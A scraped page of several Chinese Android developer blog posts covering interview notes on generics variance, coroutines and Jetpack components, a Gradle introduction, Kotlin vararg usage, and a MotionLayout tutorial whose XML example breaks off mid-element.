这个问的可能比较少,这个问题其实主要还是看你有没有写过一些大型架构,尤其是像rxjava这种设计到入参出参的。




  • 协变与逆变是数学中的概率,协变就是x跟y正相关图形是往上的,逆变就是x跟y负相关图形是往下的。

  • 协变往上的肯定有个最大的上限,java中的上限就是obj,所以你会看到很多这样的代码out Any或者?extentd Object

  • 逆变往下的肯定有个最小值,所以你会看到很多这样的代码out T或者? super T


这里面还会涉及到一个set和get的问题,协变只能get不能set。比如逆变只能set不能get。这个结论你可以记起来,也可以理解一下,这个是面向对象的基础。举个例子说明


爷爷辈(会玩手机)、爸爸辈(会玩手机会上网)、孙子辈(会玩手机会上网会打游戏)。 比如指定的上限(out、extends)是爷爷辈,如果只是作为返回值,直接返回T就可以,因为不管你返回什么类型,最后都可以用爷爷辈来接。而如果用于set,你可以传个爸爸辈或者孙子辈的进来,里面并不知道你确切的类型就出问题了。


反过来,如果逆变(in、super)指定的下限是孙子辈,用于set就可以,因为孙子已经包含了爷爷、爸爸辈的内容了。而返回就不行,因为你外面返回如果用t接,你不知道是孙子辈还是老一辈。如果返回的是老一辈你外面调用用的是孙子辈打游戏就崩了。


协程相关知识



  • 协程的基本概念:协程是一个轻量级线程。可以用同步的方式编写异步代码,避免了异步代码传参时所引发的回调地狱。核心概念是挂起跟恢复。即协程可以在执行过程中主动挂起,等待某些事件发生后再恢复执行。挂起可以开发者控制比如调用await或者直接用suspend修饰。恢复是编译器的活。我们只管用就好了。

  • 其他的概念其实跟线程差不多



      • 和协程构建器:launchasync创建一个协程





      • 调度器是切换线程的:Dispatchers.IO、Dispatchers.Main





      • 协程作用域:通常由 coroutineScope 或 supervisorScope 函数创建,协程作用域可以用于确保协程在退出时所有资源都被正确释放。





      • 异常处理和取消:异常处理可以使用try-cache也可以使用CoroutineExceptionHandler指定一个协程异常处理的函数。





  • Flow



使用协程肯定会使用的一个机制,可以代替rxJava做一些简单的操作。



使用例子


import kotlinx.coroutines.*
import kotlinx.coroutines.flow.*

fun main() = runBlocking {
val flow = flow {
for (i in 1..10) {
delay(100)
emit(i)
}
}

flow
.buffer() // 缓冲区大小
.onEach {
println("Emitting $it")
delay(200)
}
.collectLatest {
println("Collecting $it")
delay(300)
}
}




    • 原理




Flow 是一种基于懒加载的异步数据流,它可以异步产生多个元素,同时也可以异步消费这些元素。Flow 的每个元素都是通过 emit 函数产生的,而这些元素会被包装成一个包含了多个元素的数据流。Flow 还支持各种各样的操作符,如 map、filter、reduce 等等,可以方便地对数据流进行处理和转换。


jetpack使用过哪些库



下面的不一定都用过,说几个自己用过的就好,但是既然用了就要对原理很熟悉,不然别人一问就倒




  1. ViewModel:用于在屏幕旋转或其他配置更改时管理UI数据的生命周期。

  2. LiveData:用于将数据从ViewModel传递到UI组件的观察者模式库。

  3. Room:用于在SQLite数据库上进行类型安全的ORM操作的库。

  4. Navigation:用于管理应用程序导航的库。

  5. WorkManager:用于管理后台任务和作业的库。

  6. Paging:用于处理分页数据的库。

  7. Data Binding:用于将布局文件中的视图绑定到应用程序数据源的库。

  8. Hilt:用于实现依赖注入的库。

  9. Security:提供加密和数据存储的安全功能。

  10. Benchmark:用于测试应用程序性能的库。


LiveData和LifeCycle的原理


LiveData


使用上非常简单,就是上下游的通知,就是一个简化版的rxjava




  1. LiveData持有一个观察者列表,可以添加和删除观察者。

  2. 当LiveData数据发生变化时,会通知观察者列表中的所有观察者。

  3. LiveData可以感知Activity和Fragment的生命周期,当它们处于激活状态时才会通知观察者,避免了内存泄漏和空指针异常。

  4. LiveData还支持线程切换,可以在后台线程更新数据,然后在主线程中通知观察者更新UI。


LiveData提供了setValuepostValue两个方法来设置数据通知



  • setValue:方法只能在主线程调用,不依赖Handler机制来回调,

  • postValue:可以在任何线程调,同步到主线程依赖于Handler,需要等待主线程空闲时才会执行更新操作。


LifeCycle


用于监听生命周期,包含三个角色。LifecycleOwner、LifecycleObserver和Lifecycle




  • LifecycleObserver是Lifecycle的观察者。viewmodel默认就实现了这个接口

  • LifecycleOwner是具有生命周期的组件,如Activity、Fragment等,它持有一个Lifecycle对象

  • Lifecycle是LifecycleOwner的生命周期管理器,它定义了生命周期状态和转换关系,并负责通知LifecycleObserver状态变化的事件


了解这三个角色其实就很容易理解了,本质上LifeCycle也是一个观察者模式,管理数据的是LifeCycle,生命周期的状态都是通过它来完成的。而我们写代码的时候要写的一句是getLifecycle().addObserver(xxLifeCycleObserver());是添加一个观察者,这个观察者就能收到相应的通知了。


Viewmodel的原理



这个问题有可能会问你Viewmodel跟Activity哪个先销毁、Viewmodel跟Activity是怎么进行生命周期的绑定的。



Viewmodel的两个重要类:ViewModelProviderViewmodelStore。其实就是我们使用时用到的


// 这里this接收的其实是一个`ViewModelStoreOwner`是一个接口,我们的AppCompatActivity已经实现了
aViewModel = ViewModelProvider(this).get(AViewModel::class.java)


  • ViewModelStore 是一个存储 ViewModel 的容器,用于存储与某个特定的生命周期相关联的 ViewModel



是一个全局的容器,实际上就是一个HashMap。




  • ViewModelProvider用于管理ViewModel实例的创建和获取


其实这里设计的理念也比较好理解,比如旋转屏幕这个场景,我们会使用Viewmodel来保存数据,因为他数据不会被销毁,之所以不被销毁不用想也只是肯定是脱离Activity或者Fragment保存的。



知道了Viewmodel会全局保存这一点,应该会有一些疑问,就是这个Viewmodel是什么时候回收的。



在Activity或者Fragment销毁其实只是移除了他的引用,当内存不足时gc会回收或者手动调用clear方法回收。所以回答Activity和Viewmodel谁的生命周期比较长时就知道了,只要不是手动清除肯定是ViewModel的生命周期比Activity长。


因为ViewModel一直存在,所以如果太多需要做一些优化,原则很简单,就是把ViewModel细分,有些没必要保存的手动清除,有些需要全局的就使用单例。


WorkManager的使用场景



其实就是一个定时任务,人家问你使用场景是看你有没有真正用过。




  1. 需要在特定时间间隔内执行后台任务,例如每天的定时任务或周期性的数据同步。

  2. 执行大型操作,例如上传或下载文件,这些操作需要时间较长,需要在后台执行。

  3. 应用退出时需要保存数据,以便在下一次启动时可以使用。

  4. 执行重复性的任务,例如日志记录或数据清理。


Navigation使用过程中有哪些坑



这个问题首先要明确Navigation是干嘛的才知道有什么坑





  • Navigation翻译过来是导航,其实就是一个管理Fragment的栈类似与我们使用Activity一样,样提供的方法也是一样的比如动画、跳转模式,并且它还可以让我们不用担心Fragment是否被回收直接调用它的跳转,没有的话会帮我们做视图的恢复数据它已经内部处理好了,还支持一些跳转的动画传参等都有相应的api。简而言之,Navigation能做的FragmentManager都能做,只是相对麻烦而已。




  • Navigation优势就不多说了,合适的场景就是线性的跳转,比如A跳B跳C跳D这种,直接一行代码就可以跳转。返回到指定的页面也有方法,比如从D返回到navController.popBackStack(R.id.fragmentA, false)。这里的ture和false要注意,具体的细节就去看官网了。




  • 不太适合的场景就是相互的调用,比如A跳B跳A跳B这种反复的,需要你设置好跳转模式,如果模式不对会出现反复的创建和销毁,这里使用SingleTop跳转模式可以解决。但是要处理的可能是你是什么地方跳过来是,返回方法要处理一下。


作者:浪人笔记
链接:https://juejin.cn/post/7220344703588532261
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android 开发中需要了解的 Gradle 知识

Gradle 是一个基于 Groovy 的构建工具,用于构建 Android 应用程序。在 Android 开发中,了解 Gradle 是非常重要的,因为它是 Android Studio 默认的构建工具,可以帮助我们管理依赖项、构建应用程序、运行测试等。 本...
继续阅读 »

Gradle 是一个基于 Groovy 的构建工具,用于构建 Android 应用程序。在 Android 开发中,了解 Gradle 是非常重要的,因为它是 Android Studio 默认的构建工具,可以帮助我们管理依赖项、构建应用程序、运行测试等。


本文将介绍 Android 开发中需要了解的一些 Gradle 知识,包括 Gradle 的基本概念、Gradle 的构建脚本、Gradle 的任务和插件等。


Gradle 的基本概念


Gradle 是一个基于项目的构建工具,它允许我们通过编写构建脚本来定义构建过程。Gradle 的基本概念包括:



  • 项目(Project):Gradle 中的项目是指构建的基本单元,一个项目包含多个模块。

  • 模块(Module):Gradle 中的模块是指项目中的一个组件,可以是一个库模块或应用程序模块。

  • 任务(Task):Gradle 中的任务是指执行构建过程的基本单元,每个任务都有一个名称和一个动作(Action)。

  • 依赖项(Dependency):Gradle 中的依赖项是指项目中的一个模块或库,用于在构建过程中引用其他代码或资源。


Gradle 的构建脚本


Gradle 的构建脚本是基于 Groovy 语言的脚本文件,文件名为 build.gradle,位于项目的根目录和每个模块的目录中。构建脚本可以定义项目的依赖项、构建任务和发布应用程序等。


Gradle 的构建脚本由以下两个部分组成:




  1. buildscript 块:用于定义 Gradle 自身的依赖项和配置。




  2. 模块配置块:用于定义模块的依赖项和任务。




下面是一个示例构建脚本:


// 定义构建脚本使用的 Gradle 版本
buildscript {
repositories {
// 定义依赖项所在的仓库
google()
mavenCentral()
}
dependencies {
// 定义 Gradle 自身的依赖项
classpath 'com.android.tools.build:gradle:7.1.3'
}
}

// 定义模块的依赖项和任务
apply plugin: 'com.android.application'

android {
compileSdkVersion 31

defaultConfig {
applicationId "com.example.myapp"
minSdkVersion 21
targetSdkVersion 31
versionCode 1
versionName "1.0"
}

buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
}

dependencies {
// 定义模块的依赖项
implementation 'androidx.appcompat:appcompat:1.4.2'
implementation 'com.google.android.material:material:1.6.1'
}

Gradle 的任务


Gradle 的任务是构建过程的基本单元,每个任务都有一个名称和一个动作。Gradle 内置了很多任务,例如编译代码、运行测试、打包应用程序等。我们也可以根据需要自定义任务。


Gradle 的任务由以下三个部分组成:




  1. 任务名称:任务的唯一标识符,通常由一个或多个单词组成,例如 build、assembleDebug 等。




  2. 任务依赖项:任务依赖于其他任务,可以使用 dependsOn() 方法指定任务依赖项,例如:




task myTask {
dependsOn otherTask
doLast {
println 'myTask executed'
}
}

上面的示例中,myTask 任务依赖于 otherTask 任务,即在执行 myTask 之前需要先执行 otherTask。




  1. 任务动作:任务要执行的操作,可以使用 doFirst() 和 doLast() 方法指定任务动作,例如:




task myTask {
doFirst {
println 'myTask starting'
}
doLast {
println 'myTask executed'
}
}

上面的示例中,myTask 任务在执行前会先打印一条消息,然后执行任务动作,执行完毕后再打印一条消息。


Gradle 的插件


Gradle 的插件是用于扩展 Gradle 功能的组件,每个插件都提供一组任务和依赖项,用于构建应用程序或库模块。Gradle 中有很多插件,例如 Android 应用程序插件、Java 库插件等。我们也可以根据需要自定义插件。


Gradle 的插件由以下两个部分组成:



  1. 插件声明:用于声明插件及其依赖项,例如:


plugins {
id 'com.android.application' version '7.1.3'
}

上面的示例中,声明了 Android 应用程序插件及其依赖项。



  1. 插件配置:用于配置插件的行为和属性,例如:


android {
compileSdkVersion 31
defaultConfig {
applicationId "com.example.myapp"
minSdkVersion 21
targetSdkVersion 31
versionCode 1
versionName "1.0"
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
}

上面的示例中,配置了 Android 应用程序插件的属性,例如编译版本、应用程序 ID、最小 SDK 版本等。


总结


本文介绍了 Android 开发中需要了解的一些 Gradle 知识,包括 Gradle 的基本概念、构建脚本、任务和插件等。


Gradle 是一个功能强大的构建工具,通过掌握 Gradle 的基本概念、构建脚本、任务和插件等知识,可以更好地理解和使用 Gradle,从而提高 Android 应用程序的开发效率和质量。


需要注意的是,Gradle 是一项非常庞大和复杂的技术,本文仅对其中一些基本概念和知识进行了介绍,对于更深入和复杂的问题,需要通过进一步的学习和实践来掌握和解决。


作者:wkxjc
链接:https://juejin.cn/post/7220227713130364987
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Kotlin | 使用vararg可变参数

背景 一般在项目开发中,我们经常会在关键节点上埋点,而且埋点中会增加一些额外参数,这些参数通常是成对出现且参数个数是不固定的。如下: //定义事件EVENT_ID const val EVENT_ID = "event_xmkp" //注意:这里传入的是va...
继续阅读 »

背景


一般在项目开发中,我们经常会在关键节点上埋点,而且埋点中会增加一些额外参数,这些参数通常是成对出现参数个数是不固定的。如下:


//定义事件EVENT_ID
const val EVENT_ID = "event_xmkp"

//注意:这里传入的是vararg可变参数
fun String.log(vararg args: String) {
if (args.size % 2 > 0) {
throw RuntimeException("传入的参数必须是偶数")
}
if (args.isEmpty()) {
buryPoint(this)
} else {
//注意这里:可变参数在作为数组传递时需要使用伸展(spread)操作符(在数组前面加 *)
buryPoint(this, *args)
}
}

private fun buryPoint(eventId: String, vararg args: String) {
if (args.isNotEmpty()) {
Log.e(TAG, "buryPoint: $eventId, args: ${args.toList()}")
} else {
Log.e(TAG, "buryPoint: $eventId")
}
}

调用方式如下:


EVENT_ID.log()
EVENT_ID.log("name", "小马快跑")
EVENT_ID.log("name", "小马快跑", "city", "北京")

示例中可变参数可以是0个、2个、4个,执行结果:


2022-11-22 19:00:54 E/TTT: eventID: event_xmkp
2022-11-22 19:00:54 E/TTT: eventID: event_xmkp, args: [name, 小马快跑]
2022-11-22 19:00:54 E/TTT: eventID: event_xmkp, args: [name, 小马快跑, city, 北京]

可以看到通过定义可变参数,在调用方可以灵活地传入0个多个参数,下面就分析下Kotlin方法中的可变参数。


注意:可变参数在作为数组传递时需要使用伸展操作符(在数组前面加 *),如果去掉 *号,编译器会报如下错:


请添加图片描述


Kotlin中使用可变参数


Java中可变参数规则:



  • 使用...表示可变参数

  • 可变参数只能在参数列表的最后

  • 可变参数在方法体中最终是以数组的形式访问


Kotlin中可变参数规则:



  • 不同于Java,在Kotlin中如果 vararg 可变参数不是列表中的最后一个参数, 可以使用具名参数语法传递其后的参数的值。

  • Java一样,在函数内,可以以数组的形式使用这个可变参数的形参变量,而如果需要传递可变参数,需要在前面加上伸展(spread)操作符(在数组前面加 *),第一节已给出示例。


对Kotlin可变参数反编译


对上一节中的String.log()代码反编译成Java代码:


//kt代码
fun String.log(vararg args: String) {
if (args.size % 2 > 0) {
throw RuntimeException("传入的参数必须是偶数")
}
if (args.isEmpty()) {
buryPoint(this)
} else {
//注意这里:可变参数在作为数组传递时需要使用伸展(spread)操作符(在数组前面加 *)
buryPoint(this, *args)
}
}

转换之后:


 // Java代码
public final void log(@NotNull String $this$log, @NotNull String... args) {
...
if (args.length % 2 > 0) {
throw (Throwable)(new RuntimeException("传入的参数必须是偶数"));
} else {
if (args.length == 0) {
this.buryPoint($this$log);
} else {
this.buryPoint($this$log, (String[])Arrays.copyOf(args, args.length));
}
}
}


  • Kotlinvararg args: String参数转换成Java的 @NotNull String... args

  • Kotlinspread伸展操作符*args转换成Java(String[])Arrays.copyOf(args, args.length),可见最终还是通过系统拷贝生成了数组。

作者:_小马快跑_
链接:https://juejin.cn/post/7221020355292545085
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

5分钟带你学会MotionLayout

1、前言 最近在开发中,同事居然对MontionLayout一知半解,那怎么行!百里偷闲写出此文章,一起学习、一起进步。如果写的不好,或者有错误之处,恳请在评论、私信、邮箱指出,万分感谢🙏 希望你在阅读这篇文章的时候,已经对下面的内容熟练掌握了 Animat...
继续阅读 »

1、前言


最近在开发中,同事居然对MontionLayout一知半解,那怎么行!百里偷闲写出此文章,一起学习、一起进步。如果写的不好,或者有错误之处,恳请在评论、私信、邮箱指出,万分感谢🙏


希望你在阅读这篇文章的时候,已经对下面的内容熟练掌握了



对了还有ConstraintLayout务必熟练掌握


对了,如果可以,请跟随敲代码,毕竟你脑补的代码,没有编译器。


2、简介


1)根据功能将MontionLayout视为属性动画框架、TransitionManagerCoordinatorLayout 的混合体。允许描述两个布局之间的转换(如 TransitionManager),但也可以为任何属性设置动画(不仅仅是布局属性)。


2)支持可搜索的过渡,如 CoordinatorLayout(过渡可以完全由触摸驱动并立即过渡到的任何点)。支持触摸处理和关键帧,允许开发人员根据自己的需要轻松自定义过渡。


3)在这个范围之外,另一个关键区别是 MotionLayout 是完全声明式的——你可以用 XML 完整地描述一个复杂的转换——不需要代码(如果你需要通过代码来表达运动,现有的属性动画框架已经提供了一种很好的方式正在做)。


4)MotionLayout 只会为其直接子级提供其功能——与 TransitionManager 相反,TransitionManager 可以使用嵌套布局层次结构以及 Activity 转换。


3、何时使用


MotionLayout 设想的场景是当需要移动、调整实际 UI 元素(按钮、标题栏等)或为其设置动画时——用户需要与之交互的元素。


重要的是要认识到运动是有目的的——不应该只是你应用程序中一个无偿的特殊效果;应该用来帮助用户了解应用程序在做什么。Material Design 原则网站很好地介绍了这些概念。


有一类动画只需要处理播放预定义的内容,用户不会——或不需要——直接与内容交互。视频、GIF,或者以有限的方式,动画矢量可绘制对象或lottie文件通常属于此类。MotionLayout 并不专门尝试处理此类动画(但当然可以将们包含在 MotionLayout 中)。


4、依赖


确保constraintlayout版本>=2.0.0即可



build.gradle



dependencies {
implementation 'androidx.constraintlayout:constraintlayout:2.1.3'
}
//or
dependencies {
implementation("androidx.constraintlayout:constraintlayout:2.1.3")
}

5、ConstraintSet


如果使用ConstraintLayout并不够多,那对ConstraintSets的认识可能不够完善,我们也展开说说


ConstraintSets包含了一个或多个约束关系,每个约束关系定义了一个视图与其父布局或其他视图之间的位置关系。通过使用ConstraintSets,开发者可以在运行时更改布局的约束关系,从而实现动画或动态变化的布局效果。


比如ConstraintSets包含了以下方法:



  1. clone():克隆一个ConstraintSet实例。

  2. clear():清除所有的约束关系。

  3. connect():连接一个视图与其父布局或其他视图之间的约束关系。

  4. center():将一个视图水平或垂直居中于其父布局或其他视图。

  5. create():创建一个新的ConstraintSet实例。

  6. constrain*():约束一个视图的位置、大小、宽高比、可见性等属性。

  7. applyTo():将约束关系应用到一个ConstraintLayout实例。


还有更多方法就不一一列举了


只使用 ConstraintSet 和 TransitionManager 来实现一个平移动画



fragment_motion_01_basic.xml




<androidx.constraintlayout.widget.ConstraintLayout   
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:id="@+id/cl_container"
android:layout_width="match_parent"
android:layout_height="match_parent">

<View
android:id="@+id/button"
android:layout_width="64dp"
android:layout_height="64dp"
android:layout_marginStart="8dp"
android:background="@color/orange"
android:text="Button"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>


// 定义起始状态的 ConstraintSet (clContainer顶层容器)
val startConstraintSet = ConstraintSet()
startConstraintSet.clone(clContainer)
// 定义结束状态的 ConstraintSet
val endConstraintSet = ConstraintSet()
endConstraintSet.clone(clContainer)
endConstraintSet.connect(
R.id.button,
ConstraintSet.END,
ConstraintSet.PARENT_ID,
ConstraintSet.END,
8.dp
)
endConstraintSet.setHorizontalBias(R.id.button,1f)
clContainer.postDelayed({
// 在需要执行动画的地方
TransitionManager.beginDelayedTransition(clContainer)
// 设置结束状态的 ConstraintSet
endConstraintSet.applyTo(clContainer)
}, 1000)

我们首先使用 ConstraintSet.clone() 方法来创建起始状态的 ConstraintSet。然后,我们通过 ConstraintSet.clone() 和 ConstraintSet.connect() 方法来创建结束状态的 ConstraintSet,其中 connect() 方法用于连接视图到另一个视图或父容器的指定位置。在这里,我们将按钮连接到父容器的右端(左端在布局中已经声明了),从而使其水平居中。接着我们使用setHorizontalBias使其水平居右。


在需要执行动画的地方,我们调用 TransitionManager.beginDelayedTransition() 方法告诉系统要开始执行动画。然后,我们将结束状态的 ConstraintSet 应用到 MotionLayout 中,从而实现平滑的过渡。


图片转存失败,建议将图片保存下来直接上传


ConstraintSet 的一般思想是它们封装了布局的所有定位规则;由于您可以使用多个 ConstraintSet,因此您可以即时决定将哪组规则应用于您的布局,而无需重新创建您的视图——只有它们的位置/尺寸会改变。


MotionLayout 基本上建立在这个想法之上,并进一步扩展了这个概念


6、引用现有布局


在第5点中,我们新建了一个xml,我们继续使用,不过需要将androidx.constraintlayout.widget.ConstraintLayout修改为androidx.constraintlayout.motion.widget.MotionLayout



fragment_motion_01_basic.xml



<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.motion.widget.MotionLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent">

<View
android:id="@+id/button"
android:layout_width="64dp"
android:layout_height="64dp"
android:layout_marginStart="8dp"
android:background="@color/orange"
android:text="Button"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.motion.widget.MotionLayout>

你会得到一个错误


image-20230407090719919

 靠着强大的编辑器,生成一个


image-20230407090719919

你就会得到下面这个和一个新的xml文件


<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.motion.widget.MotionLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
app:layoutDescription="@xml/motion_layout_01_scene">

</androidx.constraintlayout.motion.widget.MotionLayout>

也就是一个MotionScene文件



motion_layout_01_scene.xml



<?xml version="1.0" encoding="utf-8"?>
<MotionScene xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto">
</MotionScene>

这里我们先用再新建两个xml,代表开始位置和结束位置



motion_01_cl_start.xml



<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent">
<View
android:id="@+id/button"
android:background="@color/orange"
android:layout_width="64dp"
android:layout_height="64dp"
android:layout_marginStart="8dp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>


motion_01_cl_end.xml



<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent">
<View
android:id="@+id/button"
android:background="@color/orange"
android:layout_width="64dp"
android:layout_height="64dp"
android:layout_marginEnd="8dp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>

修改一下



motion_layout_01_scene.xml



<?xml version="1.0" encoding="utf-8"?>
<MotionScene xmlns:motion="http://schemas.android.com/apk/res-auto">
<!-- Transition 定义动画过程中的开始状态和结束状态 -->
<!-- constraintSetStart 动画开始状态的布局文件引用 -->
<!-- constraintSetEnd 动画结束状态的布局文件引用 -->
<Transition
motion:constraintSetEnd="@layout/motion_01_cl_end"
motion:constraintSetStart="@layout/motion_01_cl_start"
motion:duration="1000">
<!--OnClick 用于处理用户点击事件 -->
<!--targetId 设置触发点击事件的组件 -->
<!--clickAction 设置点击操作的响应行为,这里是使动画过渡到结束状态 -->
<OnClick
motion:clickAction="toggle"
motion:targetId="@+id/button" />
</Transition>
</MotionScene>

部分解释都在注释中啦。好了 ,运行吧。


图片转存失败,建议将图片保存下来直接上传


这里的TransitionOnClick我们先按下不表。


7、独立的 MotionScene


上面的例子中,我们使用了两个XML+一个原有的布局为基础,进行的修改。最终重用您可能已经拥有的布局。MotionLayout 还支持直接在目录中的 MotionScene 文件中描述 ConstraintSet res/xml


我们在res/xml目录中新建一个xml文件



motion_layout_02_scene.xml



<?xml version="1.0" encoding="utf-8"?>
<MotionScene xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:motion="http://schemas.android.com/apk/res-auto">

<Transition
motion:constraintSetStart="@+id/start"
motion:constraintSetEnd="@+id/end"
motion:duration="1000">
<!--OnClick 用于处理用户点击事件 -->
<!--targetId 设置触发点击事件的组件 -->
<!--clickAction 设置点击操作的响应行为,这里是使动画过渡到结束状态 -->
<OnClick
motion:clickAction="toggle"
motion:targetId="@+id/button" />
</Transition>

<ConstraintSet android:id="@+id/start">
<Constraint
android:id="@+id/button"
android:layout_width="64dp"
android:layout_height="64dp"
android:layout_marginStart="8dp"
motion:layout_constraintBottom_toBottomOf="parent"
motion:layout_constraintStart_toStartOf="parent"
motion:layout_constraintTop_toTopOf="parent" />
</ConstraintSet>

<ConstraintSet android:id="@+id/end">
<Constraint
android:id="@+id/button"
android:layout_width="64dp"
android:layout_height="64dp"
android:layout_marginEnd="8dp"
motion:layout_constraintBottom_toBottomOf="parent"
motion:layout_constraintEnd_toEndOf="parent"
motion:layout_constraintTop_toTopOf="parent" />
</ConstraintSet>

</MotionScene>

首先,在 <MotionScene> 标签内定义了两个 <ConstraintSet>,分别代表动画的开始状态(start)和结束状态(end)。每个 <ConstraintSet> 内包含一个 <Constraint>,用于描述一个界面组件(如按钮或文本框)的属性。


<Transition> 标签中,我们通过 app:constraintSetStartapp:constraintSetEnd 属性指定了动画的起始和终止状态。在这个简单的示例中,我们没有插值器等属性,但可以通过添加相应的属性(如 android:durationapp:interpolator 等)来自定义动画效果。


运行一下,一样


图片转存失败,建议将图片保存下来直接上传


7、注意



  1. ConstraintSet 用于替换受影响View的所有现有约束。

  2. 每个 Constraint 元素应包含要应用于View的所有约束。

  3. ConstraintSet 不是应用增量约束,而是清除并仅应用指定的约束。

  4. 对于只有一个View需要动画的场景,MotionScene 中的 ConstraintSet 只需包含该View的 Constraint。

  5. 可以看出 MotionScene 定义和之前是相同的,但是我们将开始和结束 ConstraintSet 的定义直接放在文件中。与普通布局文件的主要区别在于我们不指定此处使用的View的类型,而是将约束作为元素的属性。


8、AndroidStudio预览工具


Android Studio 支持预览 MotionLayout,可以使用设计模式查看并编辑 MotionLayout


Snipaste_2023-04-11_14-25-19


标号含义如下



  1. 点击第一个你可以看到,当前页面的具有IDimage-20230411160718057

  2. 点击第二个,可以看到起始动画的位置 image-20230411160815353

  3. 点击第三个,可以看到终止动画的位置 image-20230411160808841

  4. 第四个,可以操作动画的预览,暂停,播放,加速,拖动,等等。

  5. 而你可以看到途中有一条线,可以使用tools:showPaths="true"开启


9、补充


今天回过来一看,示例还是少了,我稍微加几个


<?xml version="1.0" encoding="utf-8"?>
<MotionScene xmlns:android="http://schemas.android.com/apk/res/android"
   xmlns:motion="http://schemas.android.com/apk/res-auto">

   <Transition
       motion:constraintSetEnd="@+id/end"
       motion:constraintSetStart="@+id/start"
       motion:duration="1000">
       <!--OnClick 用于处理用户点击事件 -->
       <!--targetId 设置触发点击事件的组件 -->
       <!--clickAction 设置点击操作的响应行为,这里是使动画过渡到结束状态 -->
       <OnSwipe
           motion:dragDirection="dragEnd"
           motion:touchAnchorId="@+id/button1"
           motion:touchAnchorSide="end" />

   </Transition>

   <ConstraintSet android:id="@+id/start">

       <Constraint
           android:id="@+id/button1"
           android:layout_width="64dp"
           android:layout_height="64dp"
           android:layout_marginStart="8dp"
           motion:layout_constraintBottom_toTopOf="@id/button2"
           motion:layout_constraintStart_toStartOf="parent"
           motion:layout_constraintTop_toTopOf="parent" />

       <Constraint
           android:id="@+id/button2"
           android:layout_width="64dp"
           android:layout_height="64dp"
           android:layout_marginStart="8dp"
           android:alpha="1"
           motion:layout_constraintBottom_toTopOf="@id/button3"
           motion:layout_constraintStart_toStartOf="parent"
           motion:layout_constraintTop_toBottomOf="@id/button1" />

       <Constraint
           android:id="@+id/button3"
           android:layout_width="64dp"
           android:layout_height="64dp"
           android:layout_marginStart="8dp"
           android:rotation="0"
           motion:layout_constraintBottom_toTopOf="@id/button4"
           motion:layout_constraintStart_toStartOf="parent"
           motion:layout_constraintTop_toBottomOf="@id/button2" />

       <Constraint
           android:id="@+id/button4"
           android:layout_width="64dp"
           android:layout_height="64dp"
           android:layout_marginStart="8dp"
           android:elevation="0dp"
           motion:layout_constraintBottom_toTopOf="@id/button5"
           motion:layout_constraintStart_toStartOf="parent"
           motion:layout_constraintTop_toBottomOf="@id/button3" />

       <Constraint
           android:id="@+id/button5"
           android:layout_width="64dp"
           android:layout_height="64dp"
           android:layout_marginStart="8dp"
           android:scaleX="1"
           android:scaleY="1"
           motion:layout_constraintBottom_toBottomOf="parent"
           motion:layout_constraintStart_toStartOf="parent"
           motion:layout_constraintTop_toBottomOf="@id/button4" />
   </ConstraintSet>

   <ConstraintSet android:id="@+id/end">
       <Constraint
           android:id="@+id/button1"
           android:layout_width="64dp"
           android:layout_height="64dp"
           android:layout_marginEnd="8dp"
           motion:layout_constraintEnd_toEndOf="parent"
           motion:layout_constraintHorizontal_bias="1"
           motion:layout_constraintBottom_toTopOf="@id/button2"
           motion:layout_constraintStart_toStartOf="parent"
           motion:layout_constraintTop_toTopOf="parent" />

       <Constraint
           android:id="@+id/button2"
           android:layout_width="64dp"
           android:layout_height="64dp"
           android:layout_marginStart="8dp"
           android:alpha="0.2"
           motion:layout_constraintBottom_toTopOf="@id/button3"
           motion:layout_constraintHorizontal_bias="1"
           motion:layout_constraintEnd_toEndOf="parent"
           motion:layout_constraintStart_toStartOf="parent"
           motion:layout_constraintTop_toBottomOf="@id/button1" />


       <Constraint
           android:id="@+id/button3"
           android:layout_width="64dp"
           android:layout_height="64dp"
           motion:layout_constraintHorizontal_bias="1"
           android:layout_marginStart="8dp"
           android:rotation="360"
           motion:layout_constraintBottom_toTopOf="@id/button4"
           motion:layout_constraintEnd_toEndOf="parent"
           motion:layout_constraintStart_toStartOf="parent"
           motion:layout_constraintTop_toBottomOf="@id/button2" />

       <Constraint
           android:id="@+id/button4"
           android:layout_width="64dp"
           android:layout_height="64dp"
           android:layout_marginStart="8dp"
           android:elevation="10dp"
           motion:layout_constraintBottom_toTopOf="@id/button5"
